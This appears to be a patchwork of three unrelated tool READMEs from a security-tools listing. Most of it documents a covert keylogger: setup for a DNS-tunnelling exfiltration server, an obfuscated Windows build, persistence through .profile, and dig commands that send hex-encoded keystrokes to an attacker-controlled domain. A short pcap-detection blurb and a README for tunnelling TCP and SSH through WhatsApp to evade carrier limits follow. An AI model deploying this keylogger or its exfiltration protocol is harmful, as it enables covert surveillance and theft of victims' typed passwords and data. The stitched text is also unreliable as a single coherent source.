This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
FreshRSS 
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
The Network Compromise Assessment Tool is designed to analyze pcap files to detect potential suspicious network traffic. This tool focuses on spotting abnormal activities in the network traffic and searching for suspicious keywords.Β
The tool is not just limited to the aforementioned features. With contributions from the community, its detection capabilities can continuously evolve and adapt to the latest threat landscape.

This is a Baileys based piece of code that lets you tunnel TCP data through two Whatsapp accounts.
This can be usable in different situations, for example network carriers that give unlimited whatsapp data or airplanes where you also get unlimited social network data.
It's using Baileys since it's a WS based multi-device whatsapp library and therefore could be used in android in the future, using Termux for example.
The idea is to use it with a proxy setup on the server like this: [Client (restricted access) -> Whatsapp -> Server -> Proxy -> Internet]
Apologizes in advance since Javascript it's not one of my primary coding languages :/
Use only for educational purpose.
It sends TCP network packages through WhatsApp text and file messages, depending on the amount of characters it splits them into different text messages or files.
To not get timed out by WhatsApp by default it's limited at 20k characters per message, at the moment it's hardcoded in wasocket.js. I have done multiple tests and anything below that may get you banned for sending too many messages and any above 80k may timeout.
If a network package is over the limit (20k chars by default) it will be sent as a file if enabled. Also if multiple network packages are cached it will use the same cryteria.
File messages are sent as binary files, TCP responses are concatenated with a delimiter and compressed using brotli to reduce data usage.
It caches TCP socket responses to group them and send the maximum amount of data in a message therefore reducing the amount of messages, improving the speed and reducing the probability of getting banned.
Before: (without files and no response caching)
curl -x localhost:12345 https://www.youtube.com
- 50-80 messages
- 30-40 seconds
After: (with files and response caching)
curl -x localhost:12345 https://www.youtube.com
- 6-8 messages
- 7-15 seconds
In case you are not allowed to send files use the --disable-files flag when starting the server and client to disable this functionality.
I got the idea While travelling through South America network data on carriers is usually restricted to not many GBs but WhatsApp is usually unlimited, I tried to create this library since I didn't find any usable at the date.
You must have access to two Whatsapp accounts, one for the server and one for the client. You can forward a local port or use an external proxy.
Clone the repository on your server and install node dependencies.
cd path/to/wa-tunnelnpm installThen you can start the server with the following command where port is the proxy port and host is the proxy host you want to forward. And number is the client WhatsApp number with the country code alltogether and without +.
npm run server host port number
You can use a local proxy server like follows:
npm run server localhost 3128 12345678901
Or you can use a normal proxy server like follows:
npm run server 192.168.0.1 3128 12345678901
Clone the repository on your server and install node dependencies.
cd path/to/wa-tunnelnpm installThen you can start the server with the following command where port is the local port where you will connect and number is the server WhatsApp number with the country code alltogether and without +.
npm run client port number
For example
npm run client 8080 1234567890
The first time you open the script Baileys will ask you to scan the QR code with the whatsapp app, after that the session is saved for later usage.
It may crash, that's normal after that just restart the script and you will have your client/server ready!
Once you have both client and server ready you can test using curl and see the magic happen.
curl -v -x proxyHost:proxyPort https://httpbin.org/ip
With the example commands would be:
curl -v -x localhost:8080 https://httpbin.org/ip
It has been tested also with a normal browser like Firefox, it's slow but can be used.
You can also forward other protocol ports like SSH by setting up the server like this:
npm run server localhost 22 12345678901
And then connect to the server by using in the client:
ssh root@localhost -p 8080
To use on Android, you can use it with Termux using the following commands:
pkg update && pkg upgrade
pkg install git nodejs -y
git clone https://github.com/aleixrodriala/wa-tunnel.git
cd wa-tunnel
npm install
Using this library may get your WhatsApp account banned, use with a temporary number or at your own risk.
